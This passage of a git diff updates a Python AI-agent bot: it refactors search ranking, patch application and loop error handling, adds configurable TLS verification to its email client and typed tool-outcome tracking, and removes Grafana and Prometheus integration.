r.get("timestamp", 0)) for r in results} + while True: + candidates = await fetch(candidate_limit) + selected = [] + seen = set(existing) + for record in candidates: + cid = record.get("channel_id", "") + ts = record.get("timestamp", 0) + if ((channel_id and cid != channel_id) or not _ts_ok(ts) + or ts <= self._reset_epochs.get(cid, 0.0) + or (segments and record.get("doc_id") in seen_segments)): + continue + key = (cid, ts) + if key in seen: + continue + selected.append(record) + seen.add(key) + if len(selected) >= limit - len(results): + return selected + if len(candidates) < candidate_limit: + return selected + candidate_limit *= 2 + async def _append_channel_matches() -> None: # Full channel history from all users. An FTS execution failure is # not equivalent to an empty result set. if len(results) < limit and self._channel_logger: - remaining = limit - len(results) fts = self._fts_index channel_results = [] if not user_id and fts and hasattr(fts, "search_channel_logs"): - channel_results = await asyncio.to_thread( - fts.search_channel_logs, query, limit=remaining, - channel_id=channel_id, + channel_results = await _eligible_ranked( + lambda count: asyncio.to_thread( + fts.search_channel_logs, query, limit=count, + channel_id=channel_id, + ), ) if not channel_results and hasattr(self._channel_logger, "search"): if user_id: - channel_results = await asyncio.to_thread( - self._channel_logger.search, query, remaining, channel_id, - author_id=user_id, - accept=lambda record: ( - _ts_ok(record.get("ts", 0)) and - record.get("ts", 0) > self._reset_epochs.get( - record.get("channel_id", ""), 0.0)), + channel_results = await _eligible_ranked( + lambda count: asyncio.to_thread( + self._channel_logger.search, query, count, channel_id, + author_id=user_id, + accept=lambda record: ( + _ts_ok(record.get("ts", 0)) and + record.get("ts", 0) > self._reset_epochs.get( + record.get("channel_id", ""), 0.0)), + ), ) else: # Preserve compatibility with legacy search(query, limit) # implementations; channel scope is filtered below. - channel_results = await asyncio.to_thread( - self._channel_logger.search, query, remaining, + channel_results = await _eligible_ranked( + lambda count: asyncio.to_thread( + self._channel_logger.search, query, count, + ), ) seen = {(r.get("channel_id", ""), r.get("timestamp", 0)) for r in results} for cr in channel_results: @@ -1591,8 +1682,10 @@ async def _append_channel_matches() -> None: # Backend failures propagate to the caller rather than masquerading as # a keyword-only result set. if not user_id and len(results) < limit and self._vector_store: - hybrid_results = await self._vector_store.search_hybrid( - query, self._embedder, limit=limit, + hybrid_results = await _eligible_ranked( + lambda count: self._vector_store.search_hybrid( + query, self._embedder, limit=count, + ), segments=True, ) seen = {(r["channel_id"], r.get("timestamp", 0)) for r in results} for hr in hybrid_results: @@ -1686,6 +1779,9 @@ def _save_sessions(self, *, all_sessions: bool) -> None: channels = list(self._sessions if all_sessions else self._dirty) for cid in channels: with self._state_lock: + if cid in self._ephemeral_channels: + self._dirty.discard(cid) + continue if cid in self._pending_reset_epochs: # Keep this channel dirty/fenced, not the entire bot. log.warning("Session %s save suspended: reset durability unresolved", cid) diff --git a/src/setup_wizard.py b/src/setup_wizard.py index 0c0d091eb..f5c7b0acb 100644 --- a/src/setup_wizard.py +++ b/src/setup_wizard.py @@ -71,7 +71,6 @@ "secret": "${WEBHOOK_SECRET:-}", "channel_id": "", "gitea_channel_id": "", - "grafana_channel_id": "", }, "learning": { "max_entries": 30, diff --git a/src/tools/agent_tool_policy.py b/src/tools/agent_tool_policy.py index 1587228e3..8f5381508 100644 --- a/src/tools/agent_tool_policy.py +++ b/src/tools/agent_tool_policy.py @@ -58,10 +58,13 @@ def configured_agent_model(config) -> str | None: if main: return str(main) active = getattr(provider, "active_provider", "codex") - leaf_name = {"compat": "openai_compatible", "ollama": "ollama"}.get(active, "openai_codex") + leaf_name = { + "compat": "openai_compatible", "ollama": "ollama", "kimi": "kimi", + }.get(active, "openai_codex") leaf = getattr(config, leaf_name, None) model = getattr(leaf, "model", None) - return f"{active}:{model}" if model and active in {"compat", "ollama"} else model + prefix = "compat" if active == "kimi" else active + return f"{prefix}:{model}" if model and prefix in {"compat", "ollama"} else model def effective_agent_model_choices(config) -> list[str]: @@ -461,7 +464,9 @@ def apply_agent_axis_policy(defs: list[dict], config, *, usage_rollup=None) -> l # be rendered exactly or the spawner is guaranteed a rejected round-trip. model_guidance = ( render_spawn_model_guidance(config, choices, usage_rollup) - if model_auto and choices and not default_codex_catalogue + if model_auto and choices and (not default_codex_catalogue or bool( + getattr(getattr(config, "agents", None), "model_selection_hints", {}) + )) else None ) # ``thinking_mode`` is meaningful only for compatible endpoints with a diff --git a/src/tools/apply_patch.py b/src/tools/apply_patch.py index dcdb5b6f1..b55d04416 100644 --- a/src/tools/apply_patch.py +++ b/src/tools/apply_patch.py @@ -11,6 +11,7 @@ from __future__ import annotations import os +import re import secrets import stat from collections.abc import Callable @@ -440,8 +441,12 @@ def _hunk_label(path: str, hunk: dict[str, Any]) -> str: def _apply_hunks(path: str, source: str, hunks: list[dict[str, Any]]) -> str: had_final_newline = source.endswith(("\n", "\r")) - newline = "\r\n" if "\n" in source and source.count("\r\n") == source.count("\n") else "\n" - lines = source.splitlines() + # Text boundaries are CR/LF only. splitlines() also splits valid Unicode + # string content (and VT/FF), and joining it corrupts untouched bytes. + records = re.findall(r"[^\r\n]*(?:\r\n|\r|\n)|[^\r\n]+$", source) + endings = [record[len(record.rstrip("\r\n")):] for record in records] + lines = [record.rstrip("\r\n") for record in records] + newline = next((ending for ending in endings if ending), "\n") cursor = 0 for hunk in hunks: anchors = hunk["anchors"] @@ -457,12 +462,28 @@ def _apply_hunks(path: str, source: str, hunks: list[dict[str, Any]]) -> str: at = _find_unique(lines, old_lines, cursor, label) else: at = len(lines) + old_endings = endings[at : at + len(old_lines)] + replacement_ending = next((ending for ending in old_endings if ending), newline) + new_endings = [] + old_index = 0 + for line in hunk["lines"]: + if line[0] == " ": + new_endings.append(old_endings[old_index]) + elif line[0] == "+": + new_endings.append( + old_endings[old_index - 1] or replacement_ending + if old_index else replacement_ending + ) + if line[0] in " -": + old_index += 1 + if at + len(old_lines) == len(lines) and new_endings and not had_final_newline: + new_endings[-1] = "" + if at and new_lines and not endings[at - 1]: + endings[at - 1] = replacement_ending lines[at : at + len(old_lines)] = new_lines + endings[at : at + len(old_lines)] = new_endings cursor = at + len(new_lines) - result = newline.join(lines) - if had_final_newline: - result += newline - return result + return "".join(line + ending for line, ending in zip(lines, endings)) class _DirectoryRegistry: @@ -772,7 +793,10 @@ def _read_fd(fd: int) -> bytes: def _open_regular_at(parent_fd: int, name: str, relative: str) -> dict[str, Any]: try: - fd = os.open(name, os.O_RDONLY | os.O_CLOEXEC | os.O_NOFOLLOW, dir_fd=parent_fd) + fd = os.open( + name, os.O_RDONLY | os.O_CLOEXEC | os.O_NOFOLLOW | os.O_NONBLOCK, + dir_fd=parent_fd, + ) except FileNotFoundError: raise PatchError(f"file does not exist: {relative}") from None except OSError as exc: @@ -1095,6 +1119,7 @@ def apply_plan( operations = _validated_plan(plan) directories = _DirectoryRegistry(root_value, rename_noreplace=rename_noreplace) prepared: list[dict[str, Any]] = [] + snapshots: list[dict[str, Any]] = [] stages: list[dict[str, Any]] = [] preserve_artifacts = False keep_created_directories = False @@ -1141,6 +1166,8 @@ def apply_plan( "parent_label": source_parent_label, } snapshot = _open_regular_at(source_parent_fd, source_name, op["path"]) + # Own the descriptor before UTF-8/context/destination validation. + snapshots.append(snapshot) if action == "delete": new = None destination = None @@ -1357,13 +1384,11 @@ def apply_plan( _cleanup_named([item["recovery"] for item in prepared if item.get("recovery")] + stages) if not keep_created_directories and not preserve_artifacts: directories.rollback_created() - for item in prepared: - final_snapshot = item.get("snapshot") - if final_snapshot is not None: - try: - os.close(final_snapshot["fd"]) - except OSError: - pass + for final_snapshot in snapshots: + try: + os.close(final_snapshot["fd"]) + except OSError: + pass for stage in stages: try: os.close(stage["fd"]) diff --git a/src/tools/autonomous_loop.py b/src/tools/autonomous_loop.py index 15a54e675..f83d900c3 100644 --- a/src/tools/autonomous_loop.py +++ b/src/tools/autonomous_loop.py @@ -22,6 +22,27 @@ log = get_logger("autonomous_loop") +class LoopIterationResult(str): + """Visible callback text with an explicit, non-text-derived outcome. + + A str subclass preserves existing callback consumers and legacy callbacks. + Failures must not be inferred from model text (which can quote errors). + """ + + is_error: bool + failure_class: str + + def __new__(cls, text: str, *, is_error: bool = False, failure_class: str = ""): + result = super().__new__(cls, text) + result.is_error = is_error + result.failure_class = failure_class + return result + + +class _IterationError(Exception): + """Internal carrier for an already formatted tool-loop failure.""" + + # Type for the LLM iteration callback: # Takes (goal_prompt, channel, iteration_context, cancel_event) -> response text # The callback should run the full Codex + tool loop internally. @@ -352,9 +373,11 @@ async def _run_loop( finally: _current_loop.reset(_loop_token) reset_turn(_turn_token) - response = scrub_output_secrets(response.strip()) if response else "" if info._cancel_event.is_set(): break + if isinstance(response, LoopIterationResult) and response.is_error: + raise _IterationError(str(response)) + response = scrub_output_secrets(response.strip()) if response else "" consecutive_errors = 0 # Reset on success except Exception as e: consecutive_errors += 1 @@ -378,7 +401,8 @@ async def _run_loop( # WebUI loop detail, and the channel post is user-facing # — both get the bounded formatter summary, never raw # exception text (which can carry upstream HTML pages). - err_msg = format_user_facing_error(e) + err_msg = (scrub_output_secrets(str(e)) if isinstance(e, _IterationError) + else format_user_facing_error(e)) info._iteration_history.append( f"Iteration {info.iteration_count}: ERROR - {err_msg}" ) @@ -406,20 +430,20 @@ async def _run_loop( backoff, consecutive_errors, ) + if info.iteration_count >= info.max_iterations: + break if await self._interruptible_wait(info, backoff): break continue + stop_requested = LOOP_STOP_SENTINEL in response + if stop_requested: + response = response.replace(LOOP_STOP_SENTINEL, "").strip() + # Store iteration result (truncated) in history summary = response[:500] if response else "(no output)" info._iteration_history.append(f"Iteration {info.iteration_count}: {summary}") - # Check for LOOP_STOP sentinel - if LOOP_STOP_SENTINEL in response: - info.status = "completed" - log.info("Loop %s stopped by LLM (LOOP_STOP)", info.id) - break - # Runaway detection: identical consecutive outputs if response == last_output and response: consecutive_identical += 1 @@ -453,6 +477,13 @@ async def _run_loop( if response and info.status == "running": await self._post_response(info, channel, response) + if stop_requested: + info.status = "completed" + log.info("Loop %s stopped by LLM (LOOP_STOP)", info.id) + break + if info.iteration_count >= info.max_iterations: + break + # Wait for interval before next iteration (interruptible by cancel). # Placed AFTER iteration so the first run executes immediately. # (Error iterations back off and `continue` above, so diff --git a/src/tools/builtin_policy.py b/src/tools/builtin_policy.py index 72f29352c..a29a09785 100644 --- a/src/tools/builtin_policy.py +++ b/src/tools/builtin_policy.py @@ -7,7 +7,7 @@ normalized list at assembly time; this module is the single source of the name universe (``BUILTIN_TOOL_NAMES``) and of the typed rejection. -Scope is exactly the static built-in catalog: skills have their own +Scope includes static and opt-in native built-ins: skills have their own lifecycle and MCP servers have per-server switches. Disabled built-in names remain RESERVED — collision checks must use ``BUILTIN_TOOL_NAMES``, never post-filter visibility, so a skill or MCP tool can never shadow a @@ -20,12 +20,13 @@ from typing import Any from ..odin_log import get_logger +from .defs.computer import COMPUTER_TOOL_NAMES from .registry import TOOLS from .result_validator import ToolResult log = get_logger("tools.builtin_policy") -BUILTIN_TOOL_NAMES: frozenset[str] = frozenset(t["name"] for t in TOOLS) +BUILTIN_TOOL_NAMES: frozenset[str] = frozenset(t["name"] for t in TOOLS) | COMPUTER_TOOL_NAMES def normalize_disabled_tools(raw: Any) -> list[str]: diff --git a/src/tools/bulkhead.py b/src/tools/bulkhead.py index c071a04d4..7c9d0bf14 100644 --- a/src/tools/bulkhead.py +++ b/src/tools/bulkhead.py @@ -118,7 +118,7 @@ async def acquire(self) -> AsyncIterator[None]: self._semaphore.release() def get_metrics(self) -> dict: - """Return current bulkhead state for Prometheus/observability.""" + """Return current bulkhead state for the management API.""" return { "name": self.name, "max_concurrent": self._max_concurrent, @@ -181,12 +181,3 @@ def names(self) -> list[str]: def get_all_metrics(self) -> dict[str, dict]: """Return metrics for all registered bulkheads.""" return {name: bh.get_metrics() for name, bh in self._bulkheads.items()} - - def get_prometheus_metrics(self) -> dict: - """Return flattened metrics dict for the Prometheus collector.""" - result: dict = {"bulkhead_count": len(self._bulkheads)} - for name, bh in self._bulkheads.items(): - m = bh.get_metrics() - for key in ("active", "queued", "total", "rejected", "errors", "max_concurrent"): - result[f"bulkhead_{name}_{key}"] = m[key] - return result diff --git a/src/tools/defs/media_scheduling.py b/src/tools/defs/media_scheduling.py index c5178d229..45d3df373 100644 --- a/src/tools/defs/media_scheduling.py +++ b/src/tools/defs/media_scheduling.py @@ -128,7 +128,6 @@ "type": "string", "enum": [ "gitea", - "grafana", "generic", "github", "gitlab", @@ -143,10 +142,6 @@ "type": "string", "description": "Repository name substring (case-insensitive)", }, - "alert_name": { - "type": "string", - "description": "Grafana alert name substring (case-insensitive)", - }, }, "additionalProperties": False, }, @@ -286,11 +281,10 @@ "properties": { "source": { "type": "string", - "enum": ["gitea", "grafana", "generic", "github", "gitlab"], + "enum": ["gitea", "generic", "github", "gitlab"], }, "event": {"type": "string"}, "repo": {"type": "string"}, - "alert_name": {"type": "string"}, }, "additionalProperties": False, }, @@ -323,6 +317,15 @@ "tool_name": {"type": "string"}, "tool_input": {"type": "object"}, "description": {"type": "string"}, + "condition": { + "type": "string", + "description": "Run if previous output contains this (! to negate)", + }, + "on_failure": { + "type": "string", + "enum": ["abort", "continue"], + "description": "Default: abort", + }, }, "required": ["tool_name"], }, diff --git a/src/tools/defs/memory_skills.py b/src/tools/defs/memory_skills.py index b2ef8e866..16357670e 100644 --- a/src/tools/defs/memory_skills.py +++ b/src/tools/defs/memory_skills.py @@ -126,12 +126,15 @@ "description": ( "Creates a skill (custom tool) from Python code. Available immediately.\n" "Define: async def execute(inp: dict, context: SkillContext) -> str\n\n" - "SkillContext methods (all async):\n" + "SkillContext async methods (await these):\n" "- run_on_host(alias, cmd), read_file(host, path)\n" "- execute_tool(name, input), http_get(url), http_post(url, json=)\n" "- post_message(text), post_file(data, filename, caption)\n" "- search_knowledge(query), ingest_document(content, source), search_history(query)\n" - "- remember(key, value), recall(key), schedule_task(...), get_hosts(), log(msg)\n" + "- schedule_task(...)\n" + "SkillContext synchronous methods (do not await):\n" + "- remember(key, value) saves memory and returns None; recall(key) reads memory\n" + "- get_hosts(), log(msg) (log writes a message and returns None)\n" "See data/skills/*.template." ), "input_schema": { diff --git a/src/tools/email_client.py b/src/tools/email_client.py index db1469767..146ab2403 100644 --- a/src/tools/email_client.py +++ b/src/tools/email_client.py @@ -18,6 +18,7 @@ import mimetypes import os import smtplib +import ssl from email.header import decode_header from email.utils import formataddr, formatdate, make_msgid, parseaddr from pathlib import Path @@ -29,6 +30,14 @@ _GMAIL_HOST_MARKER = "gmail.com" +def _tls_context(verify: bool) -> ssl.SSLContext: + context = ssl.create_default_context() + if not verify: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + return context + + def _safe_error(exc: Exception, password: str | None) -> str: msg = str(exc) if password and password in msg: @@ -155,6 +164,7 @@ def send_email( allowed_dirs: list[str] | None = None, max_attachment_bytes: int = 10 * 1024 * 1024, timeout: int = 30, + tls_verify: bool = True, ) -> dict: all_recipients = list(to) if cc: @@ -208,18 +218,24 @@ def send_email( ) msg.attach(att) + refused_map = None + cleanup_warning = "" try: with smtplib.SMTP(smtp_host, smtp_port, timeout=timeout) as server: - server.starttls() + server.starttls(context=_tls_context(tls_verify)) server.login(username, password) refused_map = server.sendmail(from_address, all_recipients, msg.as_string()) - except smtplib.SMTPRecipientsRefused as e: - refusals = _refusals(e.recipients, to, cc, bcc, password) - raise RuntimeError( - f"SMTP send failed: no message was sent. Refused: {_format_refusals(refusals)}" - ) from None except Exception as e: - raise RuntimeError(f"SMTP send failed: {_safe_error(e, password)}") from None + if refused_map is None: + if isinstance(e, smtplib.SMTPRecipientsRefused): + refusals = _refusals(e.recipients, to, cc, bcc, password) + raise RuntimeError( + f"SMTP send failed: no message was sent. Refused: {_format_refusals(refusals)}" + ) from None + raise RuntimeError(f"SMTP send failed: {_safe_error(e, password)}") from None + # DATA was accepted before __exit__/QUIT failed. Never invite a resend. + cleanup_warning = f"SMTP cleanup failed after acceptance: {_safe_error(e, password)}" + log.warning("%s", cleanup_warning) refusals = _refusals(refused_map, to, cc, bcc, password) accepted = [address for address in dict.fromkeys(all_recipients) if address not in refused_map] @@ -240,6 +256,7 @@ def send_email( "attachments": [Path(p).name for p in (attachments or [])], "accepted_count": len(accepted), "refused": refusals, + "cleanup_warning": cleanup_warning, } @@ -290,9 +307,11 @@ def search_email( folder: str = "INBOX", limit: int = 20, timeout: int = 30, + tls_verify: bool = True, ) -> list[dict]: try: - conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout) + conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout, + ssl_context=_tls_context(tls_verify)) except Exception as e: raise RuntimeError(f"IMAP connect failed: {_safe_error(e, password)}") from None @@ -307,7 +326,7 @@ def search_email( status, data = conn.uid("SEARCH", None, query) # type: ignore[arg-type] # stdlib None-charset idiom; IMAP4._command skips None if status != "OK": - return [] + raise RuntimeError(f"IMAP search failed: SEARCH returned {status}") uids = data[0].split() if data[0] else [] uids = uids[-limit:] @@ -347,9 +366,11 @@ def read_email( folder: str = "INBOX", max_body_chars: int = 50_000, timeout: int = 30, + tls_verify: bool = True, ) -> dict: try: - conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout) + conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout, + ssl_context=_tls_context(tls_verify)) except Exception as e: raise RuntimeError(f"IMAP connect failed: {_safe_error(e, password)}") from None @@ -388,9 +409,11 @@ def list_recent( folder: str = "INBOX", limit: int = 10, timeout: int = 30, + tls_verify: bool = True, ) -> list[dict]: try: - conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout) + conn = imaplib.IMAP4_SSL(imap_host, imap_port, timeout=timeout, + ssl_context=_tls_context(tls_verify)) except Exception as e: raise RuntimeError(f"IMAP connect failed: {_safe_error(e, password)}") from None @@ -399,7 +422,9 @@ def list_recent( conn.select(f'"{folder}"', readonly=True) status, data = conn.uid("SEARCH", None, "ALL") # type: ignore[arg-type] # stdlib None-charset idiom; IMAP4._command skips None - if status != "OK" or not data[0]: + if status != "OK": + raise RuntimeError(f"IMAP list failed: SEARCH returned {status}") + if not data[0]: return [] uids = data[0].split() diff --git a/src/tools/execution_outcome.py b/src/tools/execution_outcome.py new file mode 100644 index 000000000..24da3e441 --- /dev/null +++ b/src/tools/execution_outcome.py @@ -0,0 +1,68 @@ +"""Code-owned outcome provenance, never inferred from handler output bytes.""" +from __future__ import annotations + +from contextvars import ContextVar +from dataclasses import dataclass + + +@dataclass +class DispatchEvidence: + uncertain: bool = False + + +dispatch_evidence: ContextVar[DispatchEvidence | None] = ContextVar( + "tool_dispatch_evidence", default=None +) + + +def mark_dispatch_uncertain() -> None: + """Transport lost settlement after dispatch; cleanup is not absence proof.""" + evidence = dispatch_evidence.get() + if evidence is not None: + # Nested transport tasks inherit this invocation's evidence object. + # The next attempt installs a distinct object, never a global flag. + evidence.uncertain = True + + +class ToolFailure(str): + """A backward-compatible string with a trusted failure contract.""" + + uncertain_outcome: bool + + def __new__(cls, text: str, *, uncertain_outcome: bool = False): + value = super().__new__(cls, text) + value.uncertain_outcome = uncertain_outcome + return value + + +class ToolSuccess(str): + """Successful settlement with uncertainty about an earlier dispatch.""" + + uncertain_outcome = True + + +def is_tool_failure(value: object) -> bool: + from .tool_text import _ERROR_RESULT_PREFIXES + + if isinstance(value, ToolSuccess): + return False + return isinstance(value, ToolFailure) or ( + isinstance(value, str) and value.startswith(_ERROR_RESULT_PREFIXES) + ) + + +def result_text(value: object) -> str: + """String API compatibility without erasing a nested tool's provenance.""" + from .result_validator import ToolResult + + if isinstance(value, ToolResult): + if value.uncertain_outcome: + mark_dispatch_uncertain() + if not value.ok: + return ToolFailure(value.output, uncertain_outcome=value.uncertain_outcome) + if value.uncertain_outcome: + return ToolSuccess(value.output) + return value.output + if isinstance(value, (ToolFailure, ToolSuccess)) and value.uncertain_outcome: + mark_dispatch_uncertain() + return value if isinstance(value, str) else str(value) diff --git a/src/tools/executor.py b/src/tools/executor.py index 5ba3df338..dff8841ed 100644 --- a/src/tools/executor.py +++ b/src/tools/executor.py @@ -24,6 +24,13 @@ ) from .bulkhead import BulkheadFullError, BulkheadRegistry from .effect_classifier import ToolEffectClass, classify_tool_effect +from .execution_outcome import ( + DispatchEvidence, + ToolFailure, + ToolSuccess, + dispatch_evidence, + is_tool_failure, +) from .output_authorization import ( accessed_hosts, host_access_capture, @@ -108,17 +115,23 @@ ) # How long a workspace size/count walk is reused. Growth is an operator signal -# measured in hours, so a minute of staleness costs nothing; scraping /metrics -# in a loop against an ever-growing directory costs the event loop a great deal. +# measured in hours, so a minute of staleness costs nothing; repeatedly +# scraping an ever-growing directory costs the event loop a great deal. WORKSPACE_METRICS_TTL = 60.0 class _ToolAttemptTimeout(NamedTuple): - """Timeout evidence kept separate from handler-controlled output text.""" + """Attempt settlement evidence separate from handler-controlled output text. + + recovery_allowed preserves approved retries for ordinary exceptions and + inner transport failures. Outer executor timeouts still do not retry. + A zero exit code records success even when an earlier dispatch is uncertain. + """ output: str exit_code: int uncertain_outcome: bool + recovery_allowed: bool = False def _validate_memory_shape(data: dict) -> None: @@ -246,7 +259,7 @@ def __init__( self.host_registry = host_registry self._metrics: dict[str, dict[str, int]] = {} self._memory_lock = asyncio.Lock() - self._memory_corrupt_logged_at = 0.0 + self._memory_corrupt_logged_at: float | None = None self._lists_lock = asyncio.Lock() self.risk_stats = RiskStats() self.recovery_stats = RecoveryStats() @@ -461,7 +474,7 @@ def _protected_roots(self) -> list[str]: ) def get_workspace_metrics(self) -> dict[str, float]: - """Usage of the local command workspace, for Prometheus. + """Usage of the local command workspace for diagnostics. The accepted design deliberately does NOT auto-prune — age-based deletion would destroy the cross-command continuity the stable @@ -476,8 +489,7 @@ def get_workspace_metrics(self) -> dict[str, float]: except Exception: return {} - # The size/count walk NEVER runs on the calling thread. /metrics is - # unauthenticated and served on the event loop, and this directory + # The size/count walk NEVER runs on the calling thread. This directory # deliberately never prunes, so a synchronous walk is a stall that only # grows (PR #239 round-9/10 review). A stale cache triggers a # single-flight background refresh and the previous numbers are served @@ -938,9 +950,14 @@ async def _execute_inner( else: raw_result = raw exit_code = None - is_error = isinstance(raw_result, str) and raw_result.startswith(_ERROR_RESULT_PREFIXES) + is_error = is_tool_failure(raw_result) + unknown = unknown or bool( + isinstance(raw_result, ToolFailure) and raw_result.uncertain_outcome + ) - if self._recovery_enabled and not unknown: + if is_error and self._recovery_enabled and ( + not unknown or (isinstance(raw, _ToolAttemptTimeout) and raw.recovery_allowed) + ): category = self._check_recoverable(raw_result) if category is not None: snippet = raw_result[:120] if isinstance(raw_result, str) else "" @@ -979,7 +996,7 @@ async def _execute_inner( retry_raw = await self._try_tool( tool_name, handler, tool_input, timeout, user_id ) - unknown = ( + unknown = unknown or ( isinstance(retry_raw, _ToolAttemptTimeout) and retry_raw.uncertain_outcome ) @@ -988,14 +1005,16 @@ async def _execute_inner( is_error = exit_code != 0 else: raw_result = retry_raw - retry_cat = self._check_recoverable(raw_result) - if retry_cat is not None: + exit_code = None + is_error = is_tool_failure(raw_result) + unknown = unknown or bool( + isinstance(raw_result, ToolFailure) + and raw_result.uncertain_outcome + ) + if is_error: self.recovery_stats.record_failure(tool_name, category, snippet) else: self.recovery_stats.record_success(tool_name, category, snippet) - is_error = isinstance(raw_result, str) and raw_result.startswith( - _ERROR_RESULT_PREFIXES - ) break mutation_detected = False @@ -1023,20 +1042,21 @@ async def _execute_inner( if m: exit_code = int(m.group(1)) - unknown = unknown or ( - isinstance(raw_result, str) and "outcome_unknown=true" in raw_result - ) output = self.deliver_output( outcome.normalized, tool_name=tool_name, tool_input=tool_input, user_id=user_id, status="outcome_unknown" if unknown else "failed" if is_error else "succeeded") from ..llm.secret_scrubber import scrub_output_secrets + # Final settlement and earlier dispatch uncertainty are independent: + # a successful retry must not invite another retry by claiming failure. return ToolResult( output=output, ok=not is_error, error=scrub_output_secrets(raw_result[:200]) if is_error else None, exit_code=exit_code, - truncated="truncated" in outcome.violations, + truncated="truncated" in outcome.violations or bool( + isinstance(output, DeliveredOutput) and output.truncated + ), duration_ms=duration_ms, tool_name=tool_name, risk_level=assessment.level.value, @@ -1085,7 +1105,25 @@ async def _try_tool( coro = handler(tool_input, user_id=user_id) else: coro = handler(tool_input) - result = await asyncio.wait_for(coro, timeout=timeout) + + async def with_provenance(): + # wait_for creates a child task. Read provenance INSIDE that + # task, then carry it across as code-owned typed metadata. + evidence = DispatchEvidence() + token = dispatch_evidence.set(evidence) + try: + result = await coro + if evidence.uncertain or isinstance(result, ToolSuccess): + text = result[0] if isinstance(result, tuple) else str(result) + code = result[1] if isinstance(result, tuple) else ( + -1 if is_tool_failure(result) else 0 + ) + return _ToolAttemptTimeout(text, code, True, True) + return result + finally: + dispatch_evidence.reset(token) + + result = await asyncio.wait_for(with_provenance(), timeout=timeout) return result except TimeoutError: self._metric(tool_name)["errors"] += 1 @@ -1100,7 +1138,12 @@ async def _try_tool( except Exception as e: self._metric(tool_name)["errors"] += 1 log.error("Tool %s failed: %s", tool_name, e) - return f"Error executing {tool_name}: {e}", -1 + return _ToolAttemptTimeout( + f"Error executing {tool_name}: {e}", -1, + classify_tool_effect(tool_name, tool_input) + != ToolEffectClass.EFFECT_FREE_OBSERVATION, + True, + ) finally: # Restore FIRST: settlement below runs in this task's own context, # and a nested tool call must never inherit this registry. @@ -1431,7 +1474,8 @@ def _load_all_memory_safe(self) -> dict[str, dict[str, str]]: return self._load_all_memory() except StoreCorruptError as exc: now = time.monotonic() - if now - self._memory_corrupt_logged_at > 300: + if (self._memory_corrupt_logged_at is None + or now - self._memory_corrupt_logged_at > 300): log.error("memory.json unavailable — injecting no working memory: %s", exc) self._memory_corrupt_logged_at = now return {"global": {}} diff --git a/src/tools/handlers/browser_web.py b/src/tools/handlers/browser_web.py index 67d377d35..06666f3fd 100644 --- a/src/tools/handlers/browser_web.py +++ b/src/tools/handlers/browser_web.py @@ -95,6 +95,13 @@ async def _handle_http_probe(self, inp: dict) -> str | tuple[str, int]: except ValueError as e: return f"http_probe error: {e}", 1 + # Validate before acquiring a generation lease: refused construction + # has no transport and must not pin the host generation. + try: + cmd = build_http_probe_command(inp) + except ValueError as e: + return f"http_probe error: {e}", 1 + host = inp.get("host", "") if host: lease = self._acquire_host(host) @@ -108,13 +115,6 @@ async def _handle_http_probe(self, inp: dict) -> str | tuple[str, int]: address = "127.0.0.1" ssh_user = "root" - try: - cmd = build_http_probe_command(inp) - except ValueError as e: - # Invalid probe input is a failed tool call, not a successful probe - # whose prose happens to describe a rejection. - return f"http_probe error: {e}", 1 - if lease is not None: with lease: code, output = await lease.run( diff --git a/src/tools/handlers/comms.py b/src/tools/handlers/comms.py index e1c57b489..f582843cf 100644 --- a/src/tools/handlers/comms.py +++ b/src/tools/handlers/comms.py @@ -53,6 +53,7 @@ async def _handle_email_send(self, inp: dict) -> str: allowed_dirs=cfg.allowed_attachment_dirs, max_attachment_bytes=cfg.max_attachment_bytes, timeout=cfg.connect_timeout_seconds, + tls_verify=cfg.tls_verify, ) refused = result.get("refused") or [] if refused: @@ -80,6 +81,8 @@ async def _handle_email_send(self, inp: dict) -> str: if result.get("attachments"): partial.append(f"Attachments: {', '.join(result['attachments'])}") partial.append(f"Refused: {_format_refusals(refused)}") + if result.get("cleanup_warning"): + partial.append(f"{result['cleanup_warning']}. Do not re-send accepted mail.") return "\n".join(partial) parts = [ "Email sent successfully.", @@ -91,6 +94,8 @@ async def _handle_email_send(self, inp: dict) -> str: parts.append(f"CC: {', '.join(result['cc'])}") if result.get("attachments"): parts.append(f"Attachments: {', '.join(result['attachments'])}") + if result.get("cleanup_warning"): + parts.append(f"{result['cleanup_warning']}. Do not re-send accepted mail.") return "\n".join(parts) except (ValueError, RuntimeError) as e: return f"Error: {e}" @@ -116,6 +121,7 @@ async def _handle_email_search(self, inp: dict) -> str: folder=inp.get("folder", "INBOX"), limit=limit, timeout=cfg.connect_timeout_seconds, + tls_verify=cfg.tls_verify, ) if not results: return "No messages found matching the query." @@ -147,6 +153,7 @@ async def _handle_email_read(self, inp: dict) -> str: folder=inp.get("folder", "INBOX"), max_body_chars=cfg.max_body_chars, timeout=cfg.connect_timeout_seconds, + tls_verify=cfg.tls_verify, ) lines = [ f"From: {result['from']}", @@ -182,6 +189,7 @@ async def _handle_email_list_recent(self, inp: dict) -> str: folder=inp.get("folder", "INBOX"), limit=limit, timeout=cfg.connect_timeout_seconds, + tls_verify=cfg.tls_verify, ) if not results: return "No messages found." diff --git a/src/tools/handlers/state.py b/src/tools/handlers/state.py index 2b47b12aa..32176d7ea 100644 --- a/src/tools/handlers/state.py +++ b/src/tools/handlers/state.py @@ -15,6 +15,7 @@ from pathlib import Path from ...async_utils import to_thread_settled +from ..execution_outcome import ToolFailure from .deps import HandlerBase, HandlerDeps # Max working-memory notes retained per section (global / per-user). The full @@ -44,30 +45,31 @@ def _lists_lock(self): async def _handle_memory_manage(self, inp: dict, *, user_id: str | None = None) -> str: action = inp.get("action") if not action: - return ( + return ToolFailure( "memory_manage requires an 'action' field. " "Valid actions: list, save, get, delete. " "Example: {'action': 'get', 'key': 'foo'}." ) scope = inp.get("scope", "personal") + explicit_scope = inp.get("scope") from ...json_store import StoreCorruptError async with self._memory_lock: if action in ("get", "recall", "read"): key = inp.get("key") if not key: - return "'key' is required for get." + return ToolFailure("'key' is required for get.") try: all_mem = await to_thread_settled(self._load_all_memory) except StoreCorruptError as exc: - return ( + return ToolFailure( "Memory store is currently unreadable or corrupt (a backup copy was " f"preserved). Cannot complete '{action}' to avoid data loss. Details: {exc}" ) user_key = f"user_{user_id}" if user_id else None - if user_key and key in all_mem.get(user_key, {}): + if explicit_scope != "global" and user_key and key in all_mem.get(user_key, {}): return f"**{key}** (personal): 